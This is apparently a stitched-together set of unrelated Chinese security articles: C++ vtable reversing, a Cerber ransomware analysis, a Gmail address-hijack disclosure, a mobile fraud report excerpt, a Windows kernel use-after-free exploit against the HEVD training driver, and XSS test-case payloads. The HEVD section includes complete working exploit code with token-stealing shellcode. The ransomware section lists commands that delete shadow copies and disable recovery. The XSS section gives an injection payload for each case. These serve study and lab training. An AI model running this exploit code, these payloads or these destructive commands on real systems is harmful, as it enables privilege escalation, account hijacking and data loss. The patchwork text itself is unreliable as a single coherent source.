所以一般来说，我们需要分析的二进制文件是经过g++ -m32 -fno-rtti -fnoexceptions -O1
file.cpp编译的，然后使用strip进行抽离。
**0x01目标**
在大多数情况下，我们不能指望“devirtualize”虚函数调用。直到运行时才能取得所需的信息。相反，我们工作的目标是，以确定哪些函数可能会在特定点调用。在后面的部分，我们将重点缩小可能性。
**0x02基础内容**
假设已经熟悉C ++，但也许不知道如何实现它。所以我们先通过查看编译器如何实现虚函数来开始。假设我们有以下类：
#include <cstdlib>
#include <iostream>
struct Mammal {
Mammal() { std::cout << "Mammal::Mammaln"; }
virtual ~Mammal() { std::cout << "Mammal::~Mammaln"; };
virtual void run() = 0;
virtual void walk() = 0;
virtual void move() { walk(); }
};
struct Cat : Mammal {
Cat() { std::cout << "Cat::Catn"; }
virtual ~Cat() { std::cout << "Cat::~Catn"; }
virtual void run() { std::cout << "Cat::runn"; }
virtual void walk() { std::cout << "Cat::walkn"; }
};
struct Dog : Mammal {
Dog() { std::cout << "Dog::Dogn"; }
virtual ~Dog() { std::cout << "Dog::~Dogn"; }
virtual void run() { std::cout << "Dog::runn"; }
virtual void walk() { std::cout << "Dog::walkn"; }
};
使用下面代码：
int main() {
Mammal *m;
if (rand() % 2) {
m = new Cat();
} else {
m = new Dog();
}
m->walk();
delete m;
}
m是cat或dog取决于rand的输出。当然编译器无法提前知道这些，所以它是如何调用正确的函数得？答案是，每种类型都有一个虚函数，编译器会将虚函数表插入到生成的二进制文件中。这种类型的每个实例会提供一个额外的成员称为vptr，指向该对象正确的虚表。代码初始化这个指针的正确的值，将被添加到构造函数中。
然后，当编译器需要调用一个虚拟函数，会先访问正确的虚表，找到该对象的虚函数并调用。这意味着，在虚表中的条目必须以相同的顺序应对每个相关类型（每个类的run可能是在索引1中，每一个walk在索引2，等等）。
所以我们希望找到二进制文件的三个虚表Mammal，cat和dog。我们可以使用.rodata找到相邻的函数：
再看一下主函数：
我们可以看到，在这两个分支都分配了4个字节大小的空间。这是有意义的，因为在结构体中的唯一数据是由编译器加入的vptr。在15和17行，可以看到存在虚函数的调用，编译器间接调用（获取vptr），并加上12访问在vtable中的第4项。在第17行中，得到虚表中的第2项。然后程序从表中检索的虚函数指针并调用它。
再看一下虚表，第4项是sub_80487AA，sub_804877E和 **_cxa_pure _virtual。如果我们看一下这两个“sub_
”函数的内容，可以发现他们定义walk为Dog和Cat（如图所示）。通过消除该_**cxa_pure_virtual函数必须属于虚函数表的Mammal。这是有道理的，因为Mammal没有定义walk，而这些“pure_virtual”是由GCC插入，当这些函数是虚函数时。这样，表1必须是Mammal对象，2是用于Cat和表3是Dog。
比较奇怪的是，每个虚表中存在5个项目，但是却只有4个虚函数：
1. run
2. walk
3. move
4. the destructors
附加条目是一个“额外”的析构函数。在这里，GCC将插入多个析构函数。其中的第一个将简单地销毁对象的成员。第二个将删除已为对象分配内存（第17行）。在某些情况下，可以是在某些虚拟继承情况中使用的第3版。
在完成对“sub_”函数的内容回首，我们发现虚函数表的布局如下：
| Offset | Pointer to |
|--------+-------------|
| 0 | Destructor1 |
| 4 | Destructor2 |
| 8 | run |
| 12 | walk |
| 16 | move |
但是，请注意，在Mammal 表头两项都是零。这是GCC的较新版本缘故。编译器使用具有纯虚函数的类与空指针代替析构函数项（即，抽象类）。
有了这一切之后，我们重命名一下。最后是这样：
请注意，由于Cat和Dog都没有实现move，它们都是继承Mammal，因此vtables中的move项目是相同的。
**0x03结构体**
下面开始定义一些有用的结构体。我们已经看到，唯一的成员Mammal，Cat和Dog的结构将是他们的vptrs。因此，我们可以快速地定义这些：
下一步是有点复杂。我们要为每个虚表创建一个结构体。这里的目标是获得反编译器输出并展示实际上是哪个函数被调用的。然后，我们可以通过这些可能性检查所有的选项。
为了实现这一目标，结构体的成员将具有相应的功能，指向的内容如下：
我们需要设置的vptr类型的每个结构是对应的Vtable类型。例如，该类型的vptr为Cat，应该是CatVtable
_。此外，我已经设置每个虚表项的类型是一个函数指针。这将有助于IDA正确显示。所以类型Dog__run应该是void (_ )
(Dog*)（因为这是Dog__run签名）。
如果我们回到主函数的反编译代码，我们现在可以重命名局部变量m，并设置其类型为Cat _或Dog_ 。后来我们看到：
现在，我们可以很容易地看到被调用的可能函数。如果m是Cat，那么第15行会调用Cat **walk，如果是Dog然后它会调用Dog**
walk。显然，这是一个简单的例子，但是这就是一般的思路。
我们还可以设置类型m是Mammal*的，但如果我们按如下的方式做可能会有一些问题：
注意，如果真正的类型m是Mammal然后在第15行调用将是一个纯虚函数。这本不应该发生。还有在17行这显然会造成一个空指针调用的问题。因此，我们可以得出这样的结论m不能是Mammal。
这似乎很奇怪，因为m实际上是声明为Mammal*。然而，该类型是编译时类型（静态类型）。我们感兴趣的是动态类型（或运行时类型）m，因为这将决定哪个虚函数将被调用。事实上，动态类型的对象可以根本不可能是抽象类型。所以如果一个给定的虚函数表中包含的一个___cxa_pure_virtual函数，可以忽略它。我们可以没有创建虚表结构，Mammal，因为它永远不会被使用（但我希望看到为何有用）。
本文翻译于alschwalm，如若转载，请注明来源于嘶吼： <http://www.4hou.com/technology/2927.html> | 社区文章 |
# 分析勒索软件Cerber的攻击方法
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.fireeye.com/blog/threat-research/2016/07/cerber-ransomware-attack.html>
译文仅供参考，具体内容表达以及含义原文为准。
**勒索软件是进行网上勒索的常用方法，通常情况下，用户将无法与他们的文件、程序或系统进行交互，直到他们付钱。加密货币，如比特币，则直接促成了这种形式。基于FireEye的动态威胁感知（DTI）系统的数据，从2015年中，勒索活动的数量正在相当稳定地增长。**
在2016年6月10日，FireEye的HX检测到一次Cerber勒索行为，它涉及到分布在电子邮件中的一个恶意Word文档。如果收件人打开了文档，恶意宏就会连接到攻击者控制的网站，并下载安装Cerber家族的勒索软件。
漏洞卫士是FireEye终端安全（HX）的新特性，它能检测到威胁，并警告用户他们受到了感染，使企业能够阻止Cerber的部署。进一步调查后，FireEye的研究团队与安全机构荷兰CERT，以及在不知情的情况下提供了Cerber安装的主机，并且能够在检测到活动的数小时内关闭Cerber命令与控制（C2）实例的网站托管服务提供商开始了工作。攻击者控制的服务器离线时，配置为下载的宏和其他恶意载荷将无法用勒索软件感染用户。
虽然攻击者能够配置一个或更多额外的C2服务器来随时恢复勒索活动，但在关闭C2服务器后，FireEye还没有看到来自攻击者任何额外的感染行为。这种独特现象在3个不同的FireEye终端安全客户的6个不同终端上被观察到。HX被证明能有效检测和阻止Cerber的成功。
**攻击进程**
我们观察到的Cerber的攻击周期大体上可以分为八个步骤：
1\. 目标收到并打开了一个Word文档。
2\. 在文档中的宏被调用，来在隐藏模式下运行PowerShell。
3\. 控制命令传递给PowerShell，使其连接到恶意站点并下载勒索软件。
4\. 成功连接后，勒索软件被写入受害者的磁盘。
5\. PowerShell运行勒索软件。
6\. 勒索软件通过创建命令行、屏幕保护程序、startup.run和runonce注册表项来配置多个并行的持续机制。
7\. 该程序使用本地Windows工具，如WMIC和VSSAdmin，来删除备份和卷影副本。
8\. 加密文件并给用户发送消息要求付款。
漏洞卫士在上述攻击周期的绝大部分步骤上提供全方位保护——在这种情况下从第二步开始，而不是等到第四步或第五步开始攻击时再进行防护。
发送勒索软件最常用的方法是利用嵌入了宏的Word文档或Microsoft Office 漏洞。FireEye漏洞卫士能在攻击周期的开始阶段就检测到它们。
**PowerShell的滥用**
当受害者打开附加的Word文档时，恶意宏将会写一小块的VBScript到内存中并执行它。该VBScript运行PoweShell来连接到攻击者控制的服务器，并下载勒索软件（profilest.exe），如图1：
图1.Cerber运行顺序——宏负责调用Powershell，Powershell下载并运行勒索软件。
威胁者使用恶意宏来感染用户变得越来越普遍，因为大多数企业允许宏从在线Office文档运行。
在这种情况下，我们观察到的宏代码调用PowerShell来绕过执行策略——在隐藏和加密模式下运行——使PowerShell在受害者不知情的情况下下载和运行勒索软件。
对链接和可执行文件的进一步调查显示，每过几秒钟，勒索软件的哈希值就会基于更新的时间戳和不同的附加数据字节变更——这种技术通常用来逃避基于哈希值的检测。
**Cerber在行动**
**有效载荷的最初行为**
运行时，Cerber将会检查它的启动目录。除非它是从一个特定目录（%APPDATA%<GUID>）启动，否则它将在受害者的%APPDATA%目录下，以一个从%WINDIR%system32文件夹随机获取的文件名创建它自己的副本。
当它从上述的特定目录启动，并清除了从内部列表得到的黑名单文件名后，它会使用从“system32”目录伪随机选择的名字，创建一个重命名过的副本到“%APPDATA%<GUID>”目录。然后它执行新位置的软件，并在结束后清理。
**卷影删除**
如同其他勒索软件，Cerber会绕过UAC检查，删除所有卷影副本，并禁用安全启动选项。Cerber利用各个参数运行以下进程来实现这一点：
· Vssadmin.exe "delete shadows /all /quiet"
· WMIC.exe "shadowcopy delete"
· Bcdedit.exe "/set {default} recoveryenabled no"
· Bcdedit.exe "/set {default} bootstatuspolicy ignoreallfailures
**胁迫**
人们可能会问，为什么受害者要向威胁者支付赎金。在某些情况下，他们就是单纯地想要拿回文件，但在其他情况下，受害者可能觉得受到胁迫甚至恐吓。我们注意到了在这次行动中所使用的战术，受害人在被Cerber感染后将会收到如图2所示的信息。
图2.文件被加密后受害者受到的消息
勒索软件的作者试图让受害者更快地付款——在一定时间内付款可以得到50%的折扣，如图3。
图3.向受害者要求赎金，在5天之内打折
**多语言支持**
如图4所示，Cerber用12种语言展现信息和说明，这表示这次攻击是全球性的。
图4.受害者支付赎金的页面支持12种语言
**加密**
Cerber针对294种不同的文件拓展名加密，包括.doc（典型的Microsoft Word文档）、.ppt（通常的Microsoft
PowerPoint幻灯片）、.jpg和其他图像文件。它同样针对金融文件格式，例如.ibank（用于某些个人金融管理软件）和.wallet（用于比特币）。
**选择性靶向**
在这次行动中使用了选择性靶向。攻击者被观察到使用如ipinfo.io的在线服务，来验证主机的公网IP的国家代码，以针对JSON配置文件中黑名单里的国家。黑名单（受保护）国家包括：亚美尼亚、阿塞拜疆、白俄罗斯、格鲁吉亚、吉尔吉斯斯坦、哈萨克斯坦、摩尔多瓦、俄罗斯、土库曼斯坦、塔吉克斯坦、乌克兰和乌兹别克斯坦。
这次袭击同样检查了系统键盘布局，来进一步确保避免感染攻击者地理位置的机器：1049-俄语、1058-乌克兰语、1059-白俄罗斯语、1064-塔吉克语、1067-亚美尼亚语、1068-阿塞拜疆语（拉丁语）、1079-格鲁吉亚语、1087-哈萨克语、1088-吉尔吉斯语（西里尔文）、1090-土库曼语、1091-乌兹别克语（拉丁语）、2072-罗马尼亚语（摩尔多瓦）、2073-俄语（摩尔多瓦）、2092-阿塞拜疆语（西里尔文）、2115-乌兹别克语（西里尔文）。
选择性靶向历来被用于阻止恶意软件感染作者所在地理区域内的终端，同时保护他们免受当局的怒火。威胁者同样使用这种技术控制风险。在这种情况下，有理由怀疑威胁者处在俄罗斯或周边地区。
**反虚拟机检查**
勒索软件会搜索一系列连接模块、特定的文件名和路径以及已知的沙箱序列号，包括：sbiedll.dll、dir_watch.dll、api_log.dll、dbghelp.dll、Frz_State、C:popupkiller.exe、C:stimulator.exe、C:TOOLSexecute.exe、sand-box、cwsandbox、sandbox、0CD1A40、6CBBC508、774E1682、837F873E、8B6F64BC。
除了上述的检查和黑名单，还有一个备用选项，让有效载荷在被感染的机器启动加密程序前延迟运行。这种技术很可能被实施，来进一步避免在沙箱环境中被检测到。
**持续性**
一旦执行，Cerber将部署以下持续的技术来确保系统保持感染：
· 添加一个注册表项，使系统空闲时运行勒索软件而非屏幕保护程序。
· “命令提示符”的自动运行键值被改为指向Cerber有效载荷，使得每当“cmd.exe”运行时，勒索软件就会运行。
· 一个快捷方式（.lnk）文件被添加到启动文件夹中。该文件目标为勒索软件，并且会在用户登入Windows后立刻执行。
· 常见的持续性方法，如run和runonce键也被使用。
**稳固的防御**
对于受到影响的企业来说，减轻勒索软件的影响成为了重中之重，因为被动防御技术，如基于签名的控制，已经被证实是无效的。
恶意软件作者已经证明了通过细微的二进制差异，编译出的多种恶意软件变体的超过大多数的终端控制的能力。通过使用替代的封装器和编译器，作者正在为研究人员和逆向工程师而加大努力。
不幸的是，这些努力并未奏效。
有两种方法减少感染的可能性，一是禁用网上的文档对宏的支持，二是提高用户的关注。如果可以的话，请阻止连接到你未明确列入白名单的网站。但是，这些控制可能不足以阻止所有的感染，或者在你的企业中不可行。
FireEye终端安全和漏洞卫士有助于检测勒索软件进行攻击（或其他威胁活动）时所利用的漏洞和技术，并提供更清楚的分析。这有助于你的安全团队对更多类型的威胁进行更详细的调查。这些信息能够让你的企业迅速阻止威胁，并根据需要调整防御。
**结论**
勒索软件已经成为了一种越来越普遍和有效的攻击方式。它能够影响企业、影响工作效率以及阻止用户访问文件和数据。
减轻勒索软件的威胁需要强大的终端控制，以及可能包括能让安全人员迅速分析多个系统和关联事件来识别和应对威胁的技术。
HX和漏洞卫士使用行为感知技术来加速这一进程，快速分析你的企业内的终端并警告你的团队，使他们能够进行调查并即时处理。
传统的防御没有所需的颗粒状视图，也不能连接起可能是攻击步骤的单个谨慎过程。这需要行为感知技术来快速分析一大串进程并发出警告，从而使分析师和安全团队能够进行完整的调查，得知发生过什么，或者说正在发生什么。这只有在这些专业人士有合适的工具和对所有终端活动的观察时，才能实时、有效的发现威胁的方方面面并处理它。此外，在FireEye，我们会更进一步，并联系相关部门，来击垮这类行为。 | 社区文章 |
# 【技术分享】Gmail帐号劫持漏洞（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：securityfuse
原文地址：[blog.securityfuse.com/2016/11/gmail-account-hijacking-vulnerability.html](blog.securityfuse.com/2016/11/gmail-account-hijacking-vulnerability.html)
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **twittered**
****](http://bobao.360.cn/member/contribute?uid=245645961)
**稿费：90RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[ **网页版**
****](http://bobao.360.cn/contribute/index) **在线投稿**
**
**
**介绍**
Gmail
允许全世界各地的使用者使用多个邮箱去关联他们的Gmail，Gmail也允许一个邮箱使用多个地址，向这些邮箱发送的邮件会被汇集到同一个邮箱。说实话，这两种模式在身份确认上存在风险，为绕过认证提供了机会。他和添加一个新的绑定相似，只不过我是一个攻击者，我可以通过邮箱所有权的验证劫持电子邮箱地址，还可以用它发出邮件。
**技术细节**
在你点击了Gmail的设置按钮之后，你会看到两个模块，其中一个叫做 " Account and Import "（账户和导入）>”send mail
as”(用这个地址发送邮件)你可以选择让上面的模块生效。这其中有一个脆弱的逻辑漏洞，允许我劫持Gmail的邮件地址。所有和Gmail
SMTP有关系的邮箱都存在这个问题。他可能是@gmail.com ,
@googlemail.com或者是@googleemail.com等等。总所周知，Gmail会告诉我们邮件是否被发送成功。举例来说，如果我们发送的邮件地址是不存在的，或者这个地址无法连接网络，Gmail会给我们一个包含状态的通知信息，告诉我们为什么Gmail没有投递成功。
为了劫持一个邮箱，应包含以下因素之一，以确保成功：
1\. 收件人的SMTP下线了
2\. 收件人已停用他的电子邮件
3\. 收件人不存在
4\. 收件人存在，但是阻止了投递
5\. 可能存在的其他状况
上诉情况，收件人无法从我们的地址收到任何邮件，而我们只需要一个包含有退回通知的邮件。返回的邮件会说：“您的邮件由于如下原因未能成功投递。～～”，它也会包含一个验证代码以及激活链接，这是用来关联那个无法访问的邮箱的。现在，验证代码可以用来验证和确认电子邮件地址的所权，这实际上破坏了验证的流程。同样的流程也适用于电子邮件的转发部分，我们发现它也是容易被攻击的。我们所需的就是一个无法接受到我们邮件的邮箱，就像上文提到的。
上面的图片清晰的显示了Gmail发回了一个邮件，它包含关联无法访问邮箱的验证代码以及激活链接。
假设有这样一个场景，攻击者可以欺骗受害者停用他的邮箱账户，或者欺骗受害者关闭他的邮箱地址，这样受害者就收不到外部邮件了。一旦完成，攻击者可以通过Gmail包含验证码的电子邮件来劫持受害者邮箱，此外，转发部分的认证也会被攻击。
流程：
1.攻击者尝试获取[email protected] 的绑定权限
2.Google给[email protected]发送邮件来认证
[email protected]无法收到邮件，所以邮件被退回Google
4.谷歌给攻击者返回一个发送失败的通知，而在这个通知中，包含了验证码和验证链接
5.攻击者通过验证码或者链接取得[email protected]的所有权
有了权限之后，我可以使用它发送电子邮件，也可以作为一个别名使用。
**演示视频**
**
**
**时间轴**
10月20日—报告给谷歌
10月20日—收到确认
11月1日—报告发布
**写在最后**
令人悲哀的是，这样一个漏洞我们竟然没有得到报酬，但是Google认可我们的研究，并同意在漏洞名人堂上列出。
<https://bughunter.withgoogle.com/characterlist/23>
<https://bughunter.withgoogle.com/profile/c0f2a725-a6af-4f6d-af41-67bcbdbe37b2> | 社区文章 |
# 360权威发布《2021年第三季度中国手机安全状况报告》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
时代在进步，骗子的技术也在不断“改进“。俗话说“当你在凝视深渊时，深渊也在凝视你”，快节奏的生活让我们不断寻求新“刺激”，有些人能抵住诱惑，有些人则悄然打开了裸聊、博彩等黑灰产业的大门。
黑灰产业就像开在地下的赌场，不能见光却热闹非凡。产业链条的职业化和专业化令人震撼，
然而剥开层层花花绿绿的外衣，一个个骗局就此浮出水面。
## 黑灰产业种类
**一、博彩代理产业链**
博彩代理指的是连接博彩平台与赌客之间的中间人，主要职责是为博彩平台引流推广带来赌客，博彩平台根据代理的业绩给予业务提成。为躲避追溯和打击，使用伪装成计算器的博彩代理应用，在未掌握其内部密钥的情况下，很难察觉其真面目。
**二、裸聊敲诈**
当前通过恶意 APP
窃取个人信息、偷录“裸聊”画面，实施网络敲诈勒索违法犯罪活动呈现爆发式增长，成为比较突出的网络违法犯罪。在作案方式上虽与传统的电信网络诈骗相似，但由于诈骗分子掌握到受害人私密信息，对受害人进行恐吓和威胁，成功率远高于传统的哄骗投资类、身份冒充类等电信网络诈骗。
目前在黑产渠道，裸聊敲诈类开源程序已泛滥成灾，拉低了整个行业的技术门槛，仅通过web
封装的方式即可实现批量上线生成裸聊敲诈类应用。随着各方对裸聊敲诈类诈骗的重视及打击，裸聊敲诈类应用传播路径被阻断、应用程序被查杀，诈骗成功率下降。
今年下半年，我们发现裸聊敲诈产业出现了变化，在针对人群上，仍以安卓用户为主，但增加了对 IOS
系统的技术投入。在攻防技术上，增加了资产保护、程序免杀、手机远控等技术；在关联黑灰产业链上，从分散的应用签名、分发、防封转变成支持一站式运维服务。
**三、号码防封技术**
手机卡作为黑灰产行业必备的物料，随着“断卡行动”的持续开展，已变得异常的稀缺“珍贵”，于是利用号码魔方、防封策略提高拨打诈骗电话的成功率、降低诈骗手机号被封率的产业逐渐浮出“水面”。
（一）号码魔方提高诈骗电话拨打成功率
利用号码批量生成、空号检测、号码组合、微信检测等功能，快速实现组合并筛选出有效号码，降低群呼号码失效率。
（二）多样化的号码防封技术，降低号码被封率
呼叫转移防封技术：利用APP自动设置呼叫转移，实现自拨号后呼转至指定号码；
AXB模式防封技术：利用透传技术，将给不同的客户打电话，改为给一个固定的号码拨打电话。
回拨电话防封技术：使用第三方回拨电话，即中间号码给双方拨打电话，外呼人员从呼叫方转变成接听方。 | 社区文章 |
友好简单的Windows内核漏洞分析 之 UAF利用
### 0x1 前置知识
UAF：即Use After Free，CTF pwn手对这一概念再熟悉不过了。作为科普，内存块被释放之后使用会发生以下几种情况：
Background | Condition1 | Condition2 | Result
---|---|---|---
free | 对应指针置0 | **使用** | 崩溃
free | 对应指针没有被置0 | 使用前无代码对该片内存进行修改 | 很有可能正常运行
free | 对应指针没有被置0 | 使用前有代码对该片内存进行修改 | 神秘现象
了解Windows内存管理机制的朋友会知道 _ExAllocatePoolWithTag_
函数并不是乱申请内存的，操作系统会选择大小最合适的堆来存放它，而被free的指针被称为悬挂指针，仍是一个有效的指针。而通过逆向分析我们可以发现在驱动中有一个函数调用了全局指针（以下用
** _漏洞指针_** 代替）的回调函数：
而且，通过调试，我们可以知道该结构体指针的定义如下：
typedef struct _VulnerablePointer {
FunctionPointer Callback;
CHAR Buffer[0x54];
} VulnerablePointer, *VulnerablePointer;
那么，综上条件，一个漏洞利用链就浮现出来了：
1. 漏洞指针被分配内存且被释放之后没有进行其他操作
2. 准备提权shellcode
3. 模仿漏洞指针的结构定义构造fake chunk payload大量申请空间，目的是覆盖到漏洞指针的Callback函数（专业术语： **堆喷射** ）
4. 当Callback函数被调用的时候，我们在R3提权成功
#### *** _如果读者对此篇文章感兴趣但没有内核调试相关经验，请移步0x5_**
### 0x2 一点点API
1. 申请内存
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
2. 释放内存
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
1. 申请假chunk
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
1. 调用Callback函数
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
以上函数都是通过逆向分析驱动文件得出，姑且先将底层实现当作黑盒看待，这样效率最高。
1. 最后调用一个CMD窗口，验证提权结果
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
1. 提权shellcode
void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构，R0中fs寄存器指向的是KCPR结构，紧接 着就是KPCRB结构，所以偏移124h的位置为KPCRB的第四个字节
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // 在win7 x86 sp1 下 system进程的PID为4
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
### 0x3 调试验证过程
在Windbg中，你需要在如下三个函数下断点（因为驱动是自己编译的，所以有符号表）
> HEVD!AllocateUaFObjectNonPagedPool
> HEVD!FreeUaFObjectNonPagedPool
> HEVD!UseUaFObjectNonPagedPool
运行exp前，我们先验证当前的权限：
运行后，命中的第一个断点： ** _HEVD!AllocateUaFObjectNonPagedPool_**
运行到漏洞指针被赋值的位置，查看一下该指针的内容，以及指向的pool chunk：
可以看到状态为 ** _Allocated_** ，大小为60h = sizeof(_VulnerablePointer) + 8 (pool chunk
header)
接着来看free之后的pool chunk状态：
且此时漏洞指针的Callback函数随意指向了一个位置：
执行到下一个断点，此时exp程序完成了堆喷，正准备执行漏洞指针的回调函数，再次观察漏洞指针的pool chunk以及Callback函数：
至此，通过UAF成功在R3提权，获取system权限
### 0x4 留图纪念
### 0x5 快速食用指南
### 0x6 Exp
#include<stdio.h>
#include<Windows.h>
/************************************************************************/
/* Write by Thunder_J 2019.6 */
/************************************************************************/
typedef void(*FunctionPointer) ();
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
DWORD recvBuf;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("获取句柄失败\n");
return 0;
}
printf("Start to call AllocateUaFObject()...\n");
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to call FreeUaFObject()...\n");
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to write shellcode()...\n");//
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
printf("***********************************\n");
printf("Start to heap spray...\n");
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL); //Allocate FakeObject NonPagedPool IoctlHandler allocate新的object，堆喷
}
printf("Start to call UseUaFObject()...\n");
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to create cmd...\n");
CreateCmd();
//system("whoami");
return 0;
}
感谢 [Thunder_J](https://thunderjie.github.io/)提供的exp | 社区文章 |
# 初探 knoxss 扫描规则
## 0x0 前言
knoxss在twitter经常看见,但是了解不是很深,不过碰巧看见了那个knoxss的发的[测试页面](https://brutelogic.com.br/knoxss.html),又碰巧自己最近在写扫描器,于是打算通过这个页面来参考下扫描规则。本文没有深入,只是基于题型设计构造出了payload,可能不符合题目的用意,欢迎师傅斧正。
## 0x1 Source-Based XSS Test Cases
### 0x1 Single Reflection
##### 0x1 case 01 Direct URL Injection (no parameter)
地址:[Case 01 - Direct URL Injection (no
parameter)](https://brutelogic.com.br/xss.php)
这个是个post类型的xss,value处可注入代码
选择一个框填入即可:`"/><scripr>alert(1);</script>`
##### 0x2 Simple HTML Injection (a)
a参数可直接插入语句
地址:[Case 02 - Simple HTML Injection (a)](https://brutelogic.com.br/xss.php)
payload:`https://brutelogic.com.br/xss.php?a=%3Cscript%3Ealert(1)%3C/script%3E`
##### 0x3 Inline HTML Injection with Double Quotes
地址：[Case 03 - Inline HTML Injection with Double Quotes
(b1)](https://brutelogic.com.br/xss.php?b1=1)
payload:`https://brutelogic.com.br/xss.php?b1=%22%3E%3Cscript%3Ealert(1)%3C/script%3E`
##### 0x4 Inline HTML Injection with Single Quotes
地址：[Case 04 - Inline HTML Injection with Single Quotes
(b2)](https://brutelogic.com.br/xss.php?b2=1)
payload:`https://brutelogic.com.br/xss.php?b2=1%27%3E%3Cscript%3Ealert(1)%3C/script%3E`
##### 0x5 Inline HTML Injection with Double Quotes: No Tag Breaking (b3)
地址:[Case 05 - Inline HTML Injection with Double Quotes: No Tag Breaking
(b3)](https://brutelogic.com.br/xss.php?b3=1)
payload:`https://brutelogic.com.br/xss.php?b3=1%22%20onfocus=%22alert(1);%22%20autofocus%20a=%221`
##### 0x6 Inline HTML Injection with Single Quotes: No Tag Breaking (b4)
地址:[Case 06 - Inline HTML Injection with Single Quotes: No Tag Breaking
(b4)](https://brutelogic.com.br/xss.php?b4=1)
payload:`https://brutelogic.com.br/xss.php?b4=1%27%20onfocus=%27alert(1);%27%20autofocus%20a=%271`
##### 0x7 HTML Injection with Single Quotes in JS Block (c1)
这个payload很有意思的,涉及优先级和js作用域
地址:[Case 07 - HTML Injection with Single Quotes in JS Block
(c1)](https://brutelogic.com.br/xss.php?c1=1)
payload:
`https://brutelogic.com.br/xss.php?c1=1%3C/script%3E%3Cimg%20src=x%20onerror=%22alert(1)%22%3E`
##### 0x8 HTML Injection with Double Quotes in JS Block (c2)
地址：[Case 08 - HTML Injection with Double Quotes in JS Block
(c2)](https://brutelogic.com.br/xss.php?c2=1)
payload:`https://brutelogic.com.br/xss.php?c2=1%22%3C/script%3E%3Cimg%20src=x%20onerror=alert(1)%3E`
##### 0x9 Simple JS Injection with Single Quotes (c3)
地址：[Case 09 - Simple JS Injection with Single Quotes
(c3)](https://brutelogic.com.br/xss.php?c3=1)
payload:`https://brutelogic.com.br/xss.php?c3=1%27;alert(1);//`
##### 0x10 Simple JS Injection with Double Quotes (c4)
地址：[Case 10 - Simple JS Injection with Double Quotes
(c4)](https://brutelogic.com.br/xss.php?c4=1)
Payload:`https://brutelogic.com.br/xss.php?c4=1%22;alert(1);//`
##### 0x11 Escaped JS Injection with Single Quotes (c5)
地址：[Case 11 - Escaped JS Injection with Single Quotes
(c5)](https://brutelogic.com.br/xss.php?c5=1)
Payload:`https://brutelogic.com.br/xss.php?c5=1\%27;alert(1);//`
##### 0x12 Escaped JS Injection with Double Quotes (c6)
地址：[Case 12 - Escaped JS Injection with Double Quotes
(c6)](https://brutelogic.com.br/xss.php?c6=1)
Payload:`https://brutelogic.com.br/xss.php?c6=1\%22;alert(1);//`
##### 0x13 Simple XML Injection (p)
这个xml触发xss很有意思的一个payload。(这里我不是很理解,希望师傅能贴下相关链接给我学习下)
